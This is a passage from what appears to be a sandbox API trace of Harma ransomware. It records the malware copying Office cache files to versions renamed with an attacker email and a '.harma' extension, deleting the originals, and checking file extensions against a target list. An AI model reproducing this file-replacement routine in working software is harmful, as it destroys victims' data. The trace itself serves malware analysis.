users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0055.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.544] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.544] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.544] GetLastError () returned 0x0 [0055.544] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xd4200, lpOverlapped=0x0) returned 1 [0055.574] WriteFile (in: hFile=0x1d0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0055.779] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0055.779] WriteFile (in: hFile=0x1d0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xf4, lpOverlapped=0x0) returned 1 [0055.779] SetEndOfFile (hFile=0x1d0) returned 1 [0055.779] CloseHandle (hObject=0x1d0) returned 1 [0055.779] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.779] SetEndOfFile (hFile=0x1ec) returned 1 [0055.790] CloseHandle (hObject=0x1ec) returned 1 [0055.790] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.790] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0055.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.791] lstrlenW (lpString=".doc") returned 4 [0055.791] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.791] lstrlenW (lpString=".docx") returned 5 [0055.791] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.791] lstrlenW (lpString=".pdf") returned 4 [0055.791] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.791] lstrlenW (lpString=".xls") returned 4 [0055.791] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.791] lstrlenW (lpString=".xlsx") returned 5 [0055.791] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.791] lstrlenW (lpString=".ppt") returned 4 [0055.791] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.791] lstrlenW (lpString=".zip") returned 4 [0055.791] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.791] lstrlenW (lpString=".rar") returned 4 [0055.791] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.791] lstrlenW (lpString=".bz2") returned 4 [0055.791] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.791] lstrlenW (lpString=".7z") returned 3 [0055.791] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.791] lstrlenW (lpString=".dbf") returned 4 [0055.791] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.792] lstrlenW (lpString=".1cd") returned 4 [0055.792] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.792] lstrlenW (lpString=".jpg") returned 4 [0055.792] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.792] lstrlenW (lpString=".doc") returned 4 [0055.792] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.792] lstrlenW (lpString=".docx") returned 5 [0055.792] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0055.792] lstrlenW (lpString=".pdf") returned 4 [0055.792] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.792] lstrlenW (lpString=".xls") returned 4 [0055.792] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.792] lstrlenW (lpString=".xlsx") returned 5 [0055.792] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0055.792] lstrlenW (lpString=".ppt") returned 4 [0055.792] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.792] lstrlenW (lpString=".zip") returned 4 [0055.792] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.792] lstrlenW (lpString=".rar") returned 4 [0055.792] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.793] lstrlenW (lpString=".bz2") returned 4 [0055.793] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.793] lstrlenW (lpString=".7z") returned 3 [0055.793] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.793] lstrlenW (lpString=".dbf") returned 4 [0055.793] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.793] lstrlenW (lpString=".1cd") returned 4 [0055.793] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0055.793] lstrlenW (lpString=".jpg") returned 4 [0055.793] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.793] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0055.793] lstrlenW (lpString="ose.exe") returned 7 [0055.793] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.794] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=174440) returned 1 [0055.794] CloseHandle (hObject=0x1ec) returned 1 [0055.794] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0055.794] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.794] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.794] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.794] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.795] GetLastError () returned 0x0 [0055.795] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x2a968, lpOverlapped=0x0) returned 1 [0055.835] WriteFile (in: hFile=0x1d0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0055.839] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0055.839] WriteFile (in: hFile=0x1d0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xe2, lpOverlapped=0x0) returned 1 [0055.839] SetEndOfFile (hFile=0x1d0) returned 1 [0055.839] CloseHandle (hObject=0x1d0) returned 1 [0055.839] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.839] SetEndOfFile (hFile=0x1ec) returned 1 [0055.841] CloseHandle (hObject=0x1ec) returned 1 [0055.841] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.841] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.842] lstrlenW (lpString=".doc") returned 4 [0055.842] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.842] lstrlenW (lpString=".docx") returned 5 [0055.842] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.842] lstrlenW (lpString=".pdf") returned 4 [0055.842] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".xls") returned 4 [0055.842] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".xlsx") returned 5 [0055.842] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.842] lstrlenW (lpString=".ppt") returned 4 [0055.842] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.842] lstrlenW (lpString=".zip") returned 4 [0055.842] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".rar") returned 4 [0055.842] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.842] lstrlenW (lpString=".bz2") returned 4 [0055.842] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.842] lstrlenW (lpString=".7z") returned 3 [0055.842] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.842] lstrlenW (lpString=".dbf") returned 4 [0055.842] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.842] lstrlenW (lpString=".1cd") returned 4 [0055.842] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.843] lstrlenW (lpString=".jpg") returned 4 [0055.843] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.843] lstrlenW (lpString=".doc") returned 4 [0055.843] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.843] lstrlenW (lpString=".docx") returned 5 [0055.843] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.843] lstrlenW (lpString=".pdf") returned 4 [0055.843] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".xls") returned 4 [0055.843] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".xlsx") returned 5 [0055.843] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.843] lstrlenW (lpString=".ppt") returned 4 [0055.843] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.843] lstrlenW (lpString=".zip") returned 4 [0055.843] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.843] lstrlenW (lpString=".rar") returned 4 [0055.843] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0056.035] lstrlenW (lpString=".bz2") returned 4 [0056.036] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0056.036] lstrlenW (lpString=".7z") returned 3 [0056.036] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0056.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.078] lstrlenW (lpString=".dbf") returned 4 [0056.078] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0056.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.078] lstrlenW (lpString=".1cd") returned 4 [0056.078] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0056.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0056.078] lstrlenW (lpString=".jpg") returned 4 [0056.078] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0056.078] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0056.078] lstrlenW (lpString="PidGenX.dll") returned 11 [0056.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.079] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1463568) returned 1 [0056.079] CloseHandle (hObject=0x204) returned 1 [0056.079] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0056.079] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.079] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0056.079] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0056.080] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0056.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0056.080] GetLastError () returned 0x0 [0056.080] ReadFile (in: hFile=0x204, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0056.112] WriteFile (in: hFile=0x1f4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0056.406] ReadFile (in: hFile=0x204, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x65520, lpOverlapped=0x0) returned 1 [0056.425] WriteFile (in: hFile=0x1f4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x65530, lpOverlapped=0x0) returned 1 [0056.780] ReadFile (in: hFile=0x204, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0056.780] WriteFile (in: hFile=0x1f4, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.780] SetEndOfFile (hFile=0x1f4) returned 1 [0057.892] CloseHandle (hObject=0x1f4) returned 1 [0058.059] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0058.059] SetEndOfFile (hFile=0x204) returned 1 [0058.094] CloseHandle (hObject=0x204) returned 1 [0058.094] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0058.095] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0059.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.113] lstrlenW (lpString=".doc") returned 4 [0059.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.113] lstrlenW (lpString=".docx") returned 5 [0059.113] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0059.113] lstrlenW (lpString=".pdf") returned 4 [0059.113] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.113] lstrlenW (lpString=".xls") returned 4 [0059.113] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.113] lstrlenW (lpString=".xlsx") returned 5 [0059.113] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0059.113] lstrlenW (lpString=".ppt") returned 4 [0059.113] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.113] lstrlenW (lpString=".zip") returned 4 [0059.113] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.113] lstrlenW (lpString=".rar") returned 4 [0059.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.114] lstrlenW (lpString=".bz2") returned 4 [0059.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.114] lstrlenW (lpString=".7z") returned 3 [0059.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.114] lstrlenW (lpString=".dbf") returned 4 [0059.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.114] lstrlenW (lpString=".1cd") returned 4 [0059.114] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.114] lstrlenW (lpString=".jpg") returned 4 [0059.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.114] lstrlenW (lpString=".doc") returned 4 [0059.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0059.114] lstrlenW (lpString=".docx") returned 5 [0059.114] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0059.114] lstrlenW (lpString=".pdf") returned 4 [0059.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0059.114] lstrlenW (lpString=".xls") returned 4 [0059.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0059.114] lstrlenW (lpString=".xlsx") returned 5 [0059.115] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0059.115] lstrlenW (lpString=".ppt") returned 4 [0059.115] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.115] lstrlenW (lpString=".zip") returned 4 [0059.115] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0059.115] lstrlenW (lpString=".rar") returned 4 [0059.115] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0059.115] lstrlenW (lpString=".bz2") returned 4 [0059.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0059.115] lstrlenW (lpString=".7z") returned 3 [0059.115] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.115] lstrlenW (lpString=".dbf") returned 4 [0059.115] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.115] lstrlenW (lpString=".1cd") returned 4 [0059.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0059.115] lstrlenW (lpString=".jpg") returned 4 [0059.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.116] lstrcmpiW 